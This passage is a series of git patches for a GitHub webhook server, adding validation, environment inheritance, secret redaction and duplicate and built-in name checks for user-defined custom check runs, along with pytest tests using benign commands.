-> None: assert not check_name.startswith("custom:") +class TestValidateCustomCheckRuns: + """Tests for _validate_custom_check_runs validation logic.""" + + @pytest.fixture + def mock_github_webhook(self) -> Mock: + """Create a mock GithubWebhook instance for validation testing.""" + mock_webhook = Mock() + mock_webhook.logger = Mock() + mock_webhook.log_prefix = "[TEST]" + return mock_webhook + + def test_missing_name_field(self, mock_github_webhook: Mock) -> None: + """Test that checks without 'name' field are skipped with warning.""" + raw_checks = [ + {"command": "uv tool run --from ruff ruff check"}, # Missing 'name' + {"name": "valid-check", "command": "echo test"}, # Valid + ] + + # Patch shutil.which to always return True (executable exists) + with patch("shutil.which", return_value="/usr/bin/echo"): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # Only the valid check should pass + assert len(validated) == 1 + assert validated[0]["name"] == "valid-check" + + # Warning should be logged for missing name + mock_github_webhook.logger.warning.assert_any_call("Custom check missing required 'name' field, skipping") + + def test_missing_command_field(self, mock_github_webhook: Mock) -> None: + """Test that checks without 'command' field are skipped with warning.""" + raw_checks = [ + {"name": "no-command"}, # Missing 'command' + {"name": "valid-check", "command": "echo test"}, # Valid + ] + + # Patch shutil.which to always return True + with patch("shutil.which", return_value="/usr/bin/echo"): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # Only the valid check should pass + assert len(validated) == 1 + assert validated[0]["name"] == "valid-check" + + # Warning should be logged for missing command + mock_github_webhook.logger.warning.assert_any_call( + "Custom check 'no-command' missing required 'command' field, skipping" + ) + + def test_empty_command_field(self, mock_github_webhook: Mock) -> None: + """Test that checks with empty command field are skipped with warning.""" + raw_checks = [ + {"name": "empty-command", "command": ""}, # Empty command + {"name": "valid-check", "command": "echo test"}, # Valid + ] + + # Patch shutil.which to always return True + with patch("shutil.which", return_value="/usr/bin/echo"): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # Only the valid check should pass + assert len(validated) == 1 + assert validated[0]["name"] == "valid-check" + + # Warning should be logged for empty command + mock_github_webhook.logger.warning.assert_any_call( + "Custom check 'empty-command' missing required 'command' field, skipping" + ) + + def test_whitespace_only_command(self, mock_github_webhook: Mock) -> None: + """Test that checks with whitespace-only command are skipped.""" + raw_checks = [ + {"name": "whitespace-command", "command": " "}, # Whitespace only + {"name": "tab-command", "command": "\t\t"}, # Tabs only + {"name": "newline-command", "command": "\n\n"}, # Newlines only + {"name": "valid-check", "command": "echo test"}, # Valid + ] + + # Patch shutil.which to always return True + with patch("shutil.which", return_value="/usr/bin/echo"): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # Only the valid check should pass + assert len(validated) == 1 + assert validated[0]["name"] == "valid-check" + + # Warnings should be logged for whitespace-only commands + assert mock_github_webhook.logger.warning.call_count >= 3 + mock_github_webhook.logger.warning.assert_any_call( + "Custom check 'whitespace-command' missing required 'command' field, skipping" + ) + + def test_executable_not_found(self, mock_github_webhook: Mock) -> None: + """Test that checks with non-existent executable are skipped.""" + raw_checks = [ + {"name": "missing-exec", "command": "nonexistent_command --arg"}, # Executable doesn't exist + {"name": "valid-check", "command": "echo test"}, # Valid + ] + + # Mock shutil.which to return None for nonexistent_command, path for echo + def mock_which(cmd: str) -> str | None: + return "/usr/bin/echo" if cmd == "echo" else None + + with patch("shutil.which", side_effect=mock_which): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # Only the valid check should pass + assert len(validated) == 1 + assert validated[0]["name"] == "valid-check" + + # Warning should be logged for missing executable + mock_github_webhook.logger.warning.assert_any_call( + "Custom check 'missing-exec' command executable 'nonexistent_command' not found on server, skipping" + ) + + def test_multiple_validation_failures(self, mock_github_webhook: Mock) -> None: + """Test handling of multiple validation failures at once.""" + raw_checks = [ + {"command": "echo test"}, # Missing name + {"name": "no-cmd"}, # Missing command + {"name": "whitespace", "command": " "}, # Whitespace command + {"name": "bad-exec", "command": "fake_tool --option"}, # Non-existent executable + {"name": "good-check", "command": "echo valid"}, # Valid + ] + + # Mock shutil.which to only find 'echo' + def mock_which(cmd: str) -> str | None: + return "/usr/bin/echo" if cmd == "echo" else None + + with patch("shutil.which", side_effect=mock_which): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # Only the valid check should pass + assert len(validated) == 1 + assert validated[0]["name"] == "good-check" + + # Should have logged 4 warnings (one for each invalid check) + assert mock_github_webhook.logger.warning.call_count == 4 + + def test_all_checks_valid(self, mock_github_webhook: Mock) -> None: + """Test that all checks pass when validation is successful.""" + raw_checks = [ + {"name": "check1", "command": "echo test1"}, + {"name": "check2", "command": "echo test2"}, + {"name": "check3", "command": "python -c 'print(1)'"}, + ] + + # Mock shutil.which to find all executables + def mock_which(cmd: str) -> str | None: + if cmd in ["echo", "python"]: + return f"/usr/bin/{cmd}" + return None + + with patch("shutil.which", side_effect=mock_which): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # All checks should pass + assert len(validated) == 3 + assert validated[0]["name"] == "check1" + assert validated[1]["name"] == "check2" + assert validated[2]["name"] == "check3" + + # Debug logs should be called for each validated check + assert mock_github_webhook.logger.debug.call_count == 3 + + def test_empty_check_list(self, mock_github_webhook: Mock) -> None: + """Test that empty check list returns empty validated list.""" + raw_checks: list[dict[str, Any]] = [] + + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # Should return empty list + assert len(validated) == 0 + assert validated == [] + + def test_complex_multiline_command_validation(self, mock_github_webhook: Mock) -> None: + """Test validation of complex multiline commands.""" + raw_checks = [ + { + "name": "complex-check", + "command": "python -c \"\nimport sys\nprint('test')\nsys.exit(0)\n\"", + }, + ] + + # Mock shutil.which to find python + with patch("shutil.which", return_value="/usr/bin/python"): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # Should validate successfully (extracts 'python' as executable) + assert len(validated) == 1 + assert validated[0]["name"] == "complex-check" + + def test_command_with_path_executable(self, mock_github_webhook: Mock) -> None: + """Test validation when command uses full path to executable.""" + raw_checks = [ + {"name": "full-path", "command": "/usr/local/bin/custom_tool --arg"}, + ] + + # Mock shutil.which to find the full path executable + with patch("shutil.which", return_value="/usr/local/bin/custom_tool"): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # Should validate successfully + assert len(validated) == 1 + assert validated[0]["name"] == "full-path" + + class TestCustomCheckRunsEdgeCases: """Test suite for edge cases and error handling in custom check runs.""" diff --git a/webhook_server/utils/constants.py b/webhook_server/utils/constants.py index a55486c0..17ca4a00 100644 --- a/webhook_server/utils/constants.py +++ b/webhook_server/utils/constants.py @@ -7,7 +7,6 @@ FAILURE_STR: str = "failure" IN_PROGRESS_STR: str = "in_progress" QUEUED_STR: str = "queued" -COMPLETED_STR: str = "completed" ADD_STR: str = "add" DELETE_STR: str = "delete" CAN_BE_MERGED_STR: str = "can-be-merged" From 6a6a1e5d0b8a90742151a63a54def073ad254f3a Mon Sep 17 00:00:00 2001 From: rnetser Date: Tue, 6 Jan 2026 21:08:10 +0200 Subject: [PATCH 12/33] fix(custom-checks): inherit parent environment for subprocess execution When passing env to asyncio.create_subprocess_exec(), it REPLACES the entire environment instead of extending it. Without os.environ.copy(), the subprocess wouldn't have PATH, HOME, or other essential variables, causing commands like 'uv', 'python', etc. to fail. - Change env_dict from empty dict to os.environ.copy() - Add explanatory comment for future maintainers - Update tests to verify environment inheritance --- .../libs/handlers/runner_handler.py | 7 ++++- .../tests/test_custom_check_runs.py | 29 +++++++++++++++---- 2 files changed, 29 insertions(+), 7 deletions(-) diff --git a/webhook_server/libs/handlers/runner_handler.py b/webhook_server/libs/handlers/runner_handler.py index 3a27ce15..12833e70 100644 --- a/webhook_server/libs/handlers/runner_handler.py +++ b/webhook_server/libs/handlers/runner_handler.py @@ -1,5 +1,6 @@ import asyncio import contextlib +import os import re import shutil from asyncio import Task @@ -517,10 +518,14 @@ async def run_custom_check( return await self.check_run_handler.set_custom_check_failure(name=check_name, output=output) # Build env dict from env entries (VAR_NAME=value format only) + # IMPORTANT: We must start with os.environ.copy() because passing env to + # asyncio.create_subprocess_exec() REPLACES the entire environment, not extends it. + # Without this, the subprocess wouldn't have PATH, HOME, or other essential variables, + # causing commands like 'uv', 'python', etc. to fail with "command not found". env_dict: dict[str, str] | None = None env_entries = check_config.get("env", []) if env_entries: - env_dict = {} + env_dict = os.environ.copy() for env_entry in env_entries: if "=" in env_entry: var_name, var_value = env_entry.split("=", 1) diff --git a/webhook_server/tests/test_custom_check_runs.py b/webhook_server/tests/test_custom_check_runs.py index 91c7ce0e..cfdae9ce 100644 --- a/webhook_server/tests/test_custom_check_runs.py +++ b/webhook_server/tests/test_custom_check_runs.py @@ -356,9 +356,15 @@ async def test_run_custom_check_with_env_vars(self, runner_handler: RunnerHandle await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) # Verify command was called with env dict containing explicit values + # Note: env dict contains os.environ.copy() PLUS custom vars mock_run.assert_called_once() call_kwargs = mock_run.call_args.kwargs - assert call_kwargs["env"] == {"TEST_VAR": "test_value", "ANOTHER_VAR": "another_value"} + env_dict = call_kwargs["env"] + assert env_dict is not None + assert env_dict["TEST_VAR"] == "test_value" + assert env_dict["ANOTHER_VAR"] == "another_value" + # Verify parent environment is inherited (e.g., PATH should exist) + assert "PATH" in env_dict @pytest.mark.asyncio async def test_run_custom_check_without_env_vars( @@ -415,9 +421,15 @@ async def test_run_custom_check_with_explicit_env_values( await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) # Verify command was called with env dict containing explicit values + # Note: env dict contains os.environ.copy() PLUS custom vars mock_run.assert_called_once() call_kwargs = mock_run.call_args.kwargs - assert call_kwargs["env"] == {"DEBUG": "true", "VERBOSE": "1"} + env_dict = call_kwargs["env"] + assert env_dict is not None + assert env_dict["DEBUG"] == "true" + assert env_dict["VERBOSE"] == "1" + # Verify parent environment is inherited + assert "PATH" in env_dict @pytest.mark.asyncio async def test_run_custom_check_with_invalid_env_format( @@ -445,12 +457,17 @@ async def test_run_custom_check_with_invalid_env_format( await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) # Verify command was called with env dict containing only valid format entries + # Note: env dict contains os.environ.copy() PLUS custom vars mock_run.assert_called_once() call_kwargs = mock_run.call_args.kwargs - assert call_kwargs["env"] == { - "DEBUG": "true", - "VERBOSE": "1", - } + env_dict = call_kwargs["env"] + assert env_dict is not None + assert env_dict["DEBUG"] == "true" + assert env_dict["VERBOSE"] == "1" + # Verify parent environment is inherited + assert "PATH" in env_dict + # INVALID_VAR should not be in env_dict (skipped) + assert "INVALID_VAR" not in env_dict # INVALID_VAR should be skipped and a warning logged runner_handler.logger.warning.assert_called() From b4ba235f5b5e53663af47b3f67b46a3064be4b94 Mon Sep 17 00:00:00 2001 From: rnetser Date: Tue, 6 Jan 2026 23:49:33 +0200 Subject: [PATCH 13/33] fix(custom-checks): address CodeRabbit review comments - Add regex pattern to schema for VAR=value format validation - Add summary logging for custom check validation results - Add error handling in run_retests for unknown test names - Tighten typing on test helper to satisfy ANN401 - Update test assertion for summary warning count --- webhook_server/config/schema.yaml | 1 + webhook_server/libs/github_api.py | 6 ++++++ webhook_server/libs/handlers/runner_handler.py | 6 +++++- webhook_server/tests/test_custom_check_runs.py | 4 ++-- webhook_server/tests/test_github_api.py | 2 +- 5 files changed, 15 insertions(+), 4 deletions(-) diff --git a/webhook_server/config/schema.yaml b/webhook_server/config/schema.yaml index 4f78e305..f298907e 100644 --- a/webhook_server/config/schema.yaml +++ b/webhook_server/config/schema.yaml @@ -363,6 +363,7 @@ properties: Each entry must be in 'VAR_NAME=value' format. items: type: string + pattern: "^[^=]+=.+$" required: - name - command diff --git a/webhook_server/libs/github_api.py b/webhook_server/libs/github_api.py index bdf73d8e..bf2bb5a9 100644 --- a/webhook_server/libs/github_api.py +++ b/webhook_server/libs/github_api.py @@ -827,6 +827,12 @@ def _validate_custom_check_runs(self, raw_checks: list[dict[str, Any]]) -> list[ validated_checks.append(check) self.logger.debug(f"Validated custom check '{check_name}' with command '{command}'") + # Summary logging for user visibility + if validated_checks: + self.logger.info(f"Loaded {len(validated_checks)} custom check(s): {[c['name'] for c in validated_checks]}") + if len(validated_checks) < len(raw_checks): + self.logger.warning(f"Skipped {len(raw_checks) - len(validated_checks)} invalid custom check(s)") + return validated_checks def __del__(self) -> None: diff --git a/webhook_server/libs/handlers/runner_handler.py b/webhook_server/libs/handlers/runner_handler.py index 12833e70..ec2b812a 100644 --- a/webhook_server/libs/handlers/runner_handler.py +++ b/webhook_server/libs/handlers/runner_handler.py @@ -674,8 +674,12 @@ async def run_retests(self, supported_retests: list[str], pull_request: PullRequ tasks: list[Coroutine[Any, Any, Any] | Task[Any]] = [] for _test in supported_retests: + runner = _retests_to_func_map.get(_test) + if runner is None: + self.logger.error(f"{self.log_prefix} Unknown retest '{_test}' requested, skipping") + continue self.logger.debug(f"{self.log_prefix} running retest {_test}") - task = asyncio.create_task(_retests_to_func_map[_test](pull_request=pull_request)) + task = asyncio.create_task(runner(pull_request=pull_request)) tasks.append(task) results = await asyncio.gather(*tasks, return_exceptions=True) diff --git a/webhook_server/tests/test_custom_check_runs.py b/webhook_server/tests/test_custom_check_runs.py index cfdae9ce..af019013 100644 --- a/webhook_server/tests/test_custom_check_runs.py +++ b/webhook_server/tests/test_custom_check_runs.py @@ -759,8 +759,8 @@ def mock_which(cmd: str) -> str | None: assert len(validated) == 1 assert validated[0]["name"] == "good-check" - # Should have logged 4 warnings (one for each invalid check) - assert mock_github_webhook.logger.warning.call_count == 4 + # Should have logged 5 warnings (4 individual + 1 summary) + assert mock_github_webhook.logger.warning.call_count == 5 def test_all_checks_valid(self, mock_github_webhook: Mock) -> None: """Test that all checks pass when validation is successful.""" diff --git a/webhook_server/tests/test_github_api.py b/webhook_server/tests/test_github_api.py index dae2bc8c..84e8e660 100644 --- a/webhook_server/tests/test_github_api.py +++ b/webhook_server/tests/test_github_api.py @@ -1420,7 +1420,7 @@ async def test_clone_repository_empty_checkout_ref( mock_config = Mock() mock_config.repository_data = {"enabled": True} - def get_value_side_effect(value: str, *_args: Any, **_kwargs: Any) -> Any: + def get_value_side_effect(value: str, *_args: object, **_kwargs: object) -> list[object] | None: if value == "custom-check-runs": return [] return None From 5b5812af7179dd7a7b9d31cbbf073bf12a8d756b Mon Sep 17 00:00:00 2001 From: rnetser Date: Wed, 7 Jan 2026 00:36:35 +0200 Subject: [PATCH 14/33] fix(custom-checks): address CodeRabbit review comments (round 2) - Add custom-check-runs examples to valid_full_config test fixture - Detect and reject custom check names that collide with built-ins - Mask env-sourced secrets in logs/output for security - Add test for built-in name collision detection --- webhook_server/libs/github_api.py | 15 +++++ .../libs/handlers/runner_handler.py | 5 ++ webhook_server/tests/test_config_schema.py | 8 +++ webhook_server/tests/test_github_api.py | 60 +++++++++++++++++++ 4 files changed, 88 insertions(+) diff --git a/webhook_server/libs/github_api.py b/webhook_server/libs/github_api.py index bf2bb5a9..cba8d7cb 100644 --- a/webhook_server/libs/github_api.py +++ b/webhook_server/libs/github_api.py @@ -789,6 +789,7 @@ def _validate_custom_check_runs(self, raw_checks: list[dict[str, Any]]) -> list[ Validates each custom check and returns only valid ones: - Checks that 'name' and 'command' fields exist + - Verifies name doesn't collide with built-in check names - Verifies command executable exists on server using shutil.which() - Logs warnings for invalid checks and skips them @@ -800,6 +801,15 @@ def _validate_custom_check_runs(self, raw_checks: list[dict[str, Any]]) -> list[ """ validated_checks: list[dict[str, Any]] = [] + # Built-in check names that custom checks cannot override + BUILTIN_CHECK_NAMES = { + TOX_STR, + PRE_COMMIT_STR, + BUILD_CONTAINER_STR, + PYTHON_MODULE_INSTALL_STR, + CONVENTIONAL_TITLE_STR, + } + for check in raw_checks: # Validate name field check_name = check.get("name") @@ -807,6 +817,11 @@ def _validate_custom_check_runs(self, raw_checks: list[dict[str, Any]]) -> list[ self.logger.warning("Custom check missing required 'name' field, skipping") continue + # Check for collision with built-in check names + if check_name in BUILTIN_CHECK_NAMES: + self.logger.warning(f"Custom check '{check_name}' conflicts with built-in check, skipping") + continue + # Validate command field command = check.get("command") if not command or not command.strip(): diff --git a/webhook_server/libs/handlers/runner_handler.py b/webhook_server/libs/handlers/runner_handler.py index ec2b812a..1af68ec3 100644 --- a/webhook_server/libs/handlers/runner_handler.py +++ b/webhook_server/libs/handlers/runner_handler.py @@ -523,6 +523,7 @@ async def run_custom_check( # Without this, the subprocess wouldn't have PATH, HOME, or other essential variables, # causing commands like 'uv', 'python', etc. to fail with "command not found". env_dict: dict[str, str] | None = None + redact_secrets: list[str] = [] env_entries = check_config.get("env", []) if env_entries: env_dict = os.environ.copy() @@ -530,6 +531,9 @@ async def run_custom_check( if "=" in env_entry: var_name, var_value = env_entry.split("=", 1) env_dict[var_name] = var_value + # Extract secret values for redaction (only non-empty values) + if var_value: + redact_secrets.append(var_value) self.logger.debug(f"{self.log_prefix} Using environment variable '{var_name}'") else: self.logger.warning( @@ -544,6 +548,7 @@ async def run_custom_check( mask_sensitive=self.github_webhook.mask_sensitive, cwd=worktree_path, env=env_dict, + redact_secrets=redact_secrets if redact_secrets else None, ) output["text"] = self.check_run_handler.get_check_run_text(err=err, out=out) diff --git a/webhook_server/tests/test_config_schema.py b/webhook_server/tests/test_config_schema.py index d76947a7..eebca3de 100644 --- a/webhook_server/tests/test_config_schema.py +++ b/webhook_server/tests/test_config_schema.py @@ -78,6 +78,14 @@ def valid_full_config(self) -> dict[str, Any]: "can-be-merged-required-labels": ["ready"], "conventional-title": "feat,fix,docs", "minimum-lgtm": 2, + "custom-check-runs": [ + {"name": "lint", "command": "uv tool run ruff check"}, + { + "name": "security-scan", + "command": "uv tool run bandit -r .", + "env": ["DEBUG=true", "SCAN_LEVEL=high"], + }, + ], } }, } diff --git a/webhook_server/tests/test_github_api.py b/webhook_server/tests/test_github_api.py index 84e8e660..c34f93ce 100644 --- a/webhook_server/tests/test_github_api.py +++ b/webhook_server/tests/test_github_api.py @@ -1650,3 +1650,63 @@ def rmtree_fail(*args, **kwargs): await gh.cleanup() mock_logger.warning.assert_called() + + def test_validate_custom_check_runs_builtin_collision( + self, minimal_hook_data: dict, minimal_headers: dict, logger: Mock + ) -> None: + """Test that custom checks with names colliding with built-in checks are rejected.""" + with patch("webhook_server.libs.github_api.Config") as mock_config: + mock_config.return_value.repository = True + mock_config.return_value.repository_local_data.return_value = {} + + # Mock get_value to return custom checks with colliding names + def get_value_side_effect(value: str, *_args: Any, **_kwargs: Any) -> Any: + if value == "custom-check-runs": + return [ + {"name": "tox", "command": "tox -e py39"}, # Collision with TOX_STR + {"name": "pre-commit", "command": "pre-commit run"}, # Collision with PRE_COMMIT_STR + {"name": "build-container", "command": "docker build"}, # Collision with BUILD_CONTAINER_STR + {"name": "python-module-install", "command": "pip install"}, # Collision + {"name": "conventional-title", "command": "commitlint"}, # Collision + {"name": "valid-custom-check", "command": "pytest"}, # Valid custom check + ] + if value == "container": + return {} + if value == "pypi": + return {} + return None + + mock_config.return_value.get_value.side_effect = get_value_side_effect + + with patch("webhook_server.libs.github_api.get_api_with_highest_rate_limit") as mock_get_api: + mock_get_api.return_value = (Mock(), "token", "apiuser") + + with patch("webhook_server.libs.github_api.get_github_repo_api"): + with patch("webhook_server.libs.github_api.get_repository_github_app_api"): + with patch("webhook_server.utils.helpers.get_repository_color_for_log_prefix"): + # Mock shutil.which to return True for all executables + with patch("shutil.which", return_value="/usr/bin/command"): + mock_logger = Mock() + gh = GithubWebhook(minimal_hook_data, minimal_headers, mock_logger) + + # Verify that only the valid custom check was accepted + assert len(gh.custom_check_runs) == 1 + assert gh.custom_check_runs[0]["name"] == "valid-custom-check" + + # Verify that warnings were logged for each collision + warning_calls = [str(call) for call in mock_logger.warning.call_args_list] + assert any("'tox' conflicts with built-in check" in call for call in warning_calls) + assert any( + "'pre-commit' conflicts with built-in check" in call for call in warning_calls + ) + assert any( + "'build-container' conflicts with built-in check" in call for call in warning_calls + ) + assert any( + "'python-module-install' conflicts with built-in check" in call + for call in warning_calls + ) + assert any( + "'conventional-title' conflicts with built-in check" in call + for call in warning_calls + ) From 02e6252d4d6addf3ba8eebb33c2d1b56517b5d0e Mon Sep 17 00:00:00 2001 From: rnetser Date: Wed, 7 Jan 2026 01:01:07 +0200 Subject: [PATCH 15/33] fix(custom-checks): add duplicate name detection and improve typing - Add seen_names set to detect duplicate custom check names - Skip duplicates with warning log (first occurrence wins) - Change test helper typing from Any to object for unused varargs - Remove unused logger fixture parameter from test functions - Add test for duplicate name detection behavior Addresses CodeRabbit review comments. --- webhook_server/libs/github_api.py | 7 ++++ webhook_server/tests/test_github_api.py | 49 +++++++++++++++++++++++-- 2 files changed, 52 insertions(+), 4 deletions(-) diff --git a/webhook_server/libs/github_api.py b/webhook_server/libs/github_api.py index cba8d7cb..f0bbfde7 100644 --- a/webhook_server/libs/github_api.py +++ b/webhook_server/libs/github_api.py @@ -800,6 +800,7 @@ def _validate_custom_check_runs(self, raw_checks: list[dict[str, Any]]) -> list[ List of validated custom check configurations """ validated_checks: list[dict[str, Any]] = [] + seen_names: set[str] = set() # Built-in check names that custom checks cannot override BUILTIN_CHECK_NAMES = { @@ -822,6 +823,12 @@ def _validate_custom_check_runs(self, raw_checks: list[dict[str, Any]]) -> list[ self.logger.warning(f"Custom check '{check_name}' conflicts with built-in check, skipping") continue + # Check for duplicate custom check names + if check_name in seen_names: + self.logger.warning(f"Duplicate custom check name '{check_name}', skipping") + continue + seen_names.add(check_name) + # Validate command field command = check.get("command") if not command or not command.strip(): diff --git a/webhook_server/tests/test_github_api.py b/webhook_server/tests/test_github_api.py index c34f93ce..471ae74d 100644 --- a/webhook_server/tests/test_github_api.py +++ b/webhook_server/tests/test_github_api.py @@ -1651,16 +1651,14 @@ def rmtree_fail(*args, **kwargs): mock_logger.warning.assert_called() - def test_validate_custom_check_runs_builtin_collision( - self, minimal_hook_data: dict, minimal_headers: dict, logger: Mock - ) -> None: + def test_validate_custom_check_runs_builtin_collision(self, minimal_hook_data: dict, minimal_headers: dict) -> None: """Test that custom checks with names colliding with built-in checks are rejected.""" with patch("webhook_server.libs.github_api.Config") as mock_config: mock_config.return_value.repository = True mock_config.return_value.repository_local_data.return_value = {} # Mock get_value to return custom checks with colliding names - def get_value_side_effect(value: str, *_args: Any, **_kwargs: Any) -> Any: + def get_value_side_effect(value: str, *_args: object, **_kwargs: object) -> Any: if value == "custom-check-runs": return [ {"name": "tox", "command": "tox -e py39"}, # Collision with TOX_STR @@ -1710,3 +1708,46 @@ def get_value_side_effect(value: str, *_args: Any, **_kwargs: Any) -> Any: "'conventional-title' conflicts with built-in check" in call for call in warning_calls ) + + def test_validate_custom_check_runs_duplicate_names(self, minimal_hook_data: dict, minimal_headers: dict) -> None: + """Test that duplicate custom check names are rejected.""" + with patch("webhook_server.libs.github_api.Config") as mock_config: + mock_config.return_value.repository = True + mock_config.return_value.repository_local_data.return_value = {} + + # Mock get_value to return custom checks with duplicate names + def get_value_side_effect(value: str, *_args: object, **_kwargs: object) -> Any: + if value == "custom-check-runs": + return [ + {"name": "my-check", "command": "pytest"}, + {"name": "my-check", "command": "ruff check"}, # Duplicate name + {"name": "another-check", "command": "mypy"}, + ] + if value == "container": + return {} + if value == "pypi": + return {} + return None + + mock_config.return_value.get_value.side_effect = get_value_side_effect + + with patch("webhook_server.libs.github_api.get_api_with_highest_rate_limit") as mock_get_api: + mock_get_api.return_value = (Mock(), "token", "apiuser") + + with patch("webhook_server.libs.github_api.get_github_repo_api"): + with patch("webhook_server.libs.github_api.get_repository_github_app_api"): + with patch("webhook_server.utils.helpers.get_repository_color_for_log_prefix"): + # Mock shutil.which to return True for all executables + with patch("shutil.which", return_value="/usr/bin/command"): + mock_logger = Mock() + gh = GithubWebhook(minimal_hook_data, minimal_headers, mock_logger) + + # Verify that only unique names are kept (first occurrence wins) + assert len(gh.custom_check_runs) == 2 + check_names = [c["name"] for c in gh.custom_check_runs] + assert "my-check" in check_names + assert "another-check" in check_names + + # Verify that warning was logged for duplicate + warning_calls = [str(call) for call in mock_logger.warning.call_args_list] + assert any("Duplicate custom check name 'my-check'" in call for call in warning_calls) From 7ed2baab78d906c86d0dbad1c70af03ab0fd4419 Mon Sep 17 00:00:00 2001 From: rnetser Date: Wed, 7 Jan 2026 01:19:55 +0200 Subject: [PATCH 16/33] fix(tests): tighten return type annotations to satisfy ANN401 - Change get_value_side_effect return type from Any to precise union - test_validate_custom_check_runs_builtin_collision: list[dict[str, Any]] | dict[str, Any] | None - test_validate_custom_check_runs_duplicate_names: list[dict[str, str]] | dict[str, Any] | None Addresses CodeRabbit review comments. --- webhook_server/tests/test_github_api.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/webhook_server/tests/test_github_api.py b/webhook_server/tests/test_github_api.py index 471ae74d..65f09080 100644 --- a/webhook_server/tests/test_github_api.py +++ b/webhook_server/tests/test_github_api.py @@ -1658,7 +1658,9 @@ def test_validate_custom_check_runs_builtin_collision(self, minimal_hook_data: d mock_config.return_value.repository_local_data.return_value = {} # Mock get_value to return custom checks with colliding names - def get_value_side_effect(value: str, *_args: object, **_kwargs: object) -> Any: + def get_value_side_effect( + value: str, *_args: object, **_kwargs: object + ) -> list[dict[str, Any]] | dict[str, Any] | None: if value == "custom-check-runs": return [ {"name": "tox", "command": "tox -e py39"}, # Collision with TOX_STR @@ -1716,7 +1718,9 @@ def test_validate_custom_check_runs_duplicate_names(self, minimal_hook_data: dic mock_config.return_value.repository_local_data.return_value = {} # Mock get_value to return custom checks with duplicate names - def get_value_side_effect(value: str, *_args: object, **_kwargs: object) -> Any: + def get_value_side_effect( + value: str, *_args: object, **_kwargs: object + ) -> list[dict[str, str]] | dict[str, Any] | None: if value == "custom-check-runs": return [ {"name": "my-check", "command": "pytest"}, From c548ebcd55fa636d05374ba27aaf3056eff1e0a3 Mon Sep 17 00:00:00 2001 From: rnetser Date: Wed, 7 Jan 2026 09:18:16 +0200 Subject: [PATCH 17/33] fix(tests): tighten get_value_side_effect return type - Change return type from list[object] | None to list[dict[str, object]] | None - Reflects that custom-check-runs config returns a list of dicts Addresses CodeRabbit review comment. --- webhook_server/tests/test_github_api.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/webhook_server/tests/test_github_api.py b/webhook_server/tests/test_github_api.py index 65f09080..5836fb95 100644 --- a/webhook_server/tests/test_github_api.py +++ b/webhook_server/tests/test_github_api.py @@ -1420,7 +1420,7 @@ async def test_clone_repository_empty_checkout_ref( mock_config = Mock() mock_config.repository_data = {"enabled": True} - def get_value_side_effect(value: str, *_args: object, **_kwargs: object) -> list[object] | None: + def get_value_side_effect(value: str, *_args: object, **_kwargs: object) -> list[dict[str, object]] | None: if value == "custom-check-runs": return [] return None From 3af1304f99946ba4809470ba5048b242cf2e31f6 Mon Sep 17 00:00:00 2001 From: rnetser Date: Wed, 7 Jan 2026 11:43:54 +0200 Subject: [PATCH 18/33] fix(tests): use dict[str, object] instead of dict[str, Any] in type annotations - Update get_value_side_effect return types in two test functions - Aligns with project strict typing standards Addresses CodeRabbit review comments. --- webhook_server/tests/test_github_api.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/webhook_server/tests/test_github_api.py b/webhook_server/tests/test_github_api.py index 5836fb95..80542cff 100644 --- a/webhook_server/tests/test_github_api.py +++ b/webhook_server/tests/test_github_api.py @@ -1660,7 +1660,7 @@ def test_validate_custom_check_runs_builtin_collision(self, minimal_hook_data: d # Mock get_value to return custom checks with colliding names def get_value_side_effect( value: str, *_args: object, **_kwargs: object - ) -> list[dict[str, Any]] | dict[str, Any] | None: + ) -> list[dict[str, str]] | dict[str, object] | None: if value == "custom-check-runs": return [ {"name": "tox", "command": "tox -e py39"}, # Collision with TOX_STR @@ -1720,7 +1720,7 @@ def test_validate_custom_check_runs_duplicate_names(self, minimal_hook_data: dic # Mock get_value to return custom checks with duplicate names def get_value_side_effect( value: str, *_args: object, **_kwargs: object - ) -> list[dict[str, str]] | dict[str, Any] | None: + ) -> list[dict[str, str]] | dict[str, object] | None: if value == "custom-check-runs": return [ {"name": "my-check", "command": "pytest"}, From 16f46a69534eddf9aa59e31a36a88e062bc0a983 Mon Sep 17 00:00:00 2001 From: rnetser Date: Sun, 11 Jan 2026 16:29:24 +0200 Subject: [PATCH 19/33] refactor: address PR #961 review comments Consolidate check run methods and improve code quality: 1. Replace 24+ specific check run methods with 4 generic methods: - set_check_queued() - generic queued status - set_check_in_progress() - generic in-progress status - set_check_success() - generic success with output - set_check_failure() - generic failure with output 2. Optimize .strip() in github_api.py: - Strip command once at start, reuse stripped variable - Eliminates redundant string operation 3. Enhance missing executable warning message: - Add guidance to open issue or submit PR for missing executables - Improves contributor experience 4. Update all callers in runner_handler.py and pull_request_handler.py: - Use generic methods instead of specific ones - Add conditional checks before queuing (only if feature configured) 5. Update all tests: - test_check_run_handler.py - generic method tests - test_runner_handler.py - updated method calls - test_pull_request_handler.py - updated method calls - test_custom_check_runs.py - updated method calls All changes maintain backward compatibility and pass existing test coverage. --- webhook_server/libs/github_api.py | 7 +- .../libs/handlers/check_run_handler.py | 125 ++++--------- .../libs/handlers/pull_request_handler.py | 21 ++- .../libs/handlers/runner_handler.py | 46 ++--- .../tests/test_check_run_handler.py | 140 ++++++--------- .../tests/test_custom_check_runs.py | 52 +++--- .../tests/test_pull_request_handler.py | 12 +- webhook_server/tests/test_runner_handler.py | 164 ++++++++++-------- 8 files changed, 253 insertions(+), 314 deletions(-) diff --git a/webhook_server/libs/github_api.py b/webhook_server/libs/github_api.py index 